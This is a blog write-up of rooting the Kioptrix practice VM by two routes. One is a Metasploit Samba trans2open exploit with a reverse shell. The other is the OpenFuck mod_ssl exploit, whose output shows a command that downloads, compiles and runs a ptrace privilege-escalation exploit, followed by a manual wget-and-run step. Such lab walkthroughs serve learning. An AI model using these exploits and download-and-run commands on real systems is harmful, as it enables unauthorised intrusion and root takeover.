After a while I’m back with another writeup. While I wasn’t publishing writeups I wasn’t idle. In the meantime I managed to get my OSCP certificate, which I’ll desribe in a seperate post.

Today I decided to crack an old one: Kioptrix. It is known in the OSCP community for being similar to the lab machines from the PWK course.

From the VM’s description:

This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.

I have found two ways of rooting this machine. First one is more reliable and give root privileges in one run. Second one allowed to get a limited shell first, and then escalate privileges. It is less reliable because shell had tendencies to disconnect after a couple of minutes. Still it is worth knowing.


Let’s start with some nmap:

# nmap -sT -sV -O -n
-- snip --
22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)
80/tcp    open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
32768/tcp open  status      1 (RPC #100024)
-- snip --
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
-- snip --

Samba < 2.2.8 (Linux/BSD) - Remote Code Execution

First way of rooting Kioptrix is a remote code execution in Samba. Samba is always worth checking out during a pentest. It has a long history of big one-shot vulnerabilities and commong misconfigurations that allow to gain valuable intel on the machine. This time it allows to win almost prematurely.

First I used a Metasploit module to obtain running Samba version:

msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(scanner/smb/smb_version) > info

       Name: SMB Version Detection
     Module: auxiliary/scanner/smb/smb_version
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  hdm <>

Check supported:

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  RHOSTS                      yes       The target address range or CIDR identifier
  SMBDomain  .                no        The Windows domain to use for authentication
  SMBPass                     no        The password for the specified username
  SMBUser                     no        The username to authenticate as
  THREADS    1                yes       The number of concurrent threads

  Display version information about each system

msf auxiliary(scanner/smb/smb_version) > set RHOSTS
msf auxiliary(scanner/smb/smb_version) > run

[*]     - Host could not be identified: Unix (Samba 2.2.1a)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Googling Samba version 2.2.1a shows that there is a known remote buffer overflow in trans2open() function(

The easiest way was to use another Metasploit module:

msf exploit(linux/samba/trans2open) > options

Module options (exploit/linux/samba/trans2open):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST    yes       The target address
   RPORT  139              yes       The target port (TCP)

Payload options (linux/x86/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   CMD    /bin/sh          yes       The command string to execute
   LHOST    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Samba 2.2.x - Bruteforce

msf exploit(linux/samba/trans2open) > run

[*] Started reverse TCP handler on 
[*] - Trying return address 0xbffffdfc...
[*] - Trying return address 0xbffffcfc...
[*] - Trying return address 0xbffffbfc...
[*] - Trying return address 0xbffffafc...
[*] Command shell session 9 opened ( -> at 2019-05-12 00:08:18 +0200


Game over :)

Mod_ssl remote buffer overflow

Another way to break the machine is a mod_ssl vulnerability. Namp scan indicates that it runs in version 2.8.4. So it should be vulnerable do to a ‘OpenFuck V2’ attack. Proof of concept can be found on ExploitDB. On modern systems there can be a couple of problems compiling the exploit. They can be fixed by following an excellent post on Paulsec. My final version of exploit can be found here.

There are a lot of versions of running the exploit depending on the system and Apache version of attacked machine. I decided to first search the know list for Apache version obtained from nmap. There were two matches that also matched Red Hat Linux distribution

root@kali:~/Documents/kioptrix# ./OpenFuck | grep '1.3.20'
-- snip --
	0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
	0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
-- snip --

I chose second one and ran the exploit which returned me a shell:

root@kali:~/Documents/kioptrix# ./OpenFuck 0x6b
-- snip ==
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f81c8
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; net/0304- 
           => `ptrace-kmod.c'
Connecting to Host not found.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./p: No such file or directory
bash-2.05$ whoami

As can be seen on the above listing, the exploit also tries to escalate privleges by downloading ptrace-kmod.c file. It obviously fails because of the fact that my Kioptrix instance is not connected to the internet. Fortunately it can be also done manually by hosting ptrace-kmod.c file on the attacking machine.

bash-2.05$ cd /tmp 
cd /tmp
bash-2.05$ wget
-- snip --
bash-2.05$ gcc ptrace.c -o ptrace
gcc ptrace.c -o ptrace
ptrace.c:185:27: warning: no newline at end of file
bash-2.05$ chmod +x ptrace
chmod +x ptrace
bash-2.05$ ./ptrace
[+] Attached to 1539
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...

Game over #2 :)

Written on May 11, 2019